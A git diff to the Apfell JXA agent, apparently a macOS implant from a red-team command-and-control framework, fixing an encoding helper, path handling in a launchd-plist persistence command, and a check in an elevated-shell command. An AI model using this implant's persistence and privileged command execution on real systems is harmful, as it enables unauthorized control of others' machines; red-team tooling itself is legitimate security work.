diff --git a/Payload_Type/apfell/agent_code/base/apfell-jxa.js b/Payload_Type/apfell/agent_code/base/apfell-jxa.js
index 3530f24..b5870e0 100755
--- a/Payload_Type/apfell/agent_code/base/apfell-jxa.js
+++ b/Payload_Type/apfell/agent_code/base/apfell-jxa.js
@@ -69,8 +69,8 @@ does_file_exist = function(strPath){
 };
 convert_to_nsdata = function(strData){
     // helper function to convert UTF8 strings to NSData objects
-    var tmpString = $.NSString.alloc.initWithCStringEncoding(strData, $.NSUnicodeStringEncoding);
-    return tmpString.dataUsingEncoding($.NSUTF16StringEncoding);
+    var tmpString = $.NSString.alloc.initWithCStringEncoding(strData, $.NSUTF8StringEncoding);
+    return tmpString.dataUsingEncoding($.NSUTF8StringEncoding);
 };
 write_data_to_file = function(data, file_path){
     try{
diff --git a/Payload_Type/apfell/agent_code/persist_launch.js b/Payload_Type/apfell/agent_code/persist_launch.js
index 7a0df5d..631177a 100755
--- a/Payload_Type/apfell/agent_code/persist_launch.js
+++ b/Payload_Type/apfell/agent_code/persist_launch.js
@@ -42,13 +42,13 @@ exports.persist_launch = function(task, command, params){
             if(!fileManager.fileExistsAtPath(path)){
                 $.fileManager.createDirectoryAtPathWithIntermediateDirectoriesAttributesError(path, false, $(), $());
             }
-            path = $(path.js + "/" + label + ".plist");
-            response = write_data_to_file(template, path) + " to " + ObjC.deepUnwrap(path);
-            let artifacts = {'user_output': response, 'artifacts': [{'base_artifact': 'File Create', 'artifact': ObjC.deepUnwrap(path)}], "completed": true};
+            path = path.js + "/" + label + ".plist";
+            response = write_data_to_file(template, path) + " to " + path;
+            let artifacts = {'user_output': response, 'artifacts': [{'base_artifact': 'File Create', 'artifact': path}], "completed": true};
             return artifacts
         }
         else if(config.hasOwnProperty('LaunchPath') && config['LaunchPath'] !== ""){
-            response = write_data_to_file(template, $(config['LaunchPath'])) + " to " + config["LaunchPath"];
+            response = write_data_to_file(template, config['LaunchPath']) + " to " + config["LaunchPath"];
             let artifacts = {'user_output': response, 'artifacts': [{'base_artifact': 'File Create', 'artifact': config["LaunchPath"]}], "completed": true};
             return artifacts
         }
diff --git a/Payload_Type/apfell/agent_code/shell_elevated.js b/Payload_Type/apfell/agent_code/shell_elevated.js
index 2a3370d..df3096e 100755
--- a/Payload_Type/apfell/agent_code/shell_elevated.js
+++ b/Payload_Type/apfell/agent_code/shell_elevated.js
@@ -6,7 +6,7 @@ exports.shell_elevated = function(task, command, params){
         if(params.length > 0){ pieces = JSON.parse(params); }
         else{ pieces = []; }
         if(pieces.hasOwnProperty('command') && pieces['command'] !== ""){
-            if(pieces['command'][command.length -1] === "&"){
+            if(pieces['command'][pieces['command'].length -1] === "&"){
                 cmd = pieces['command'] + "> /dev/null &";
             }else{
                 cmd = pieces['command'];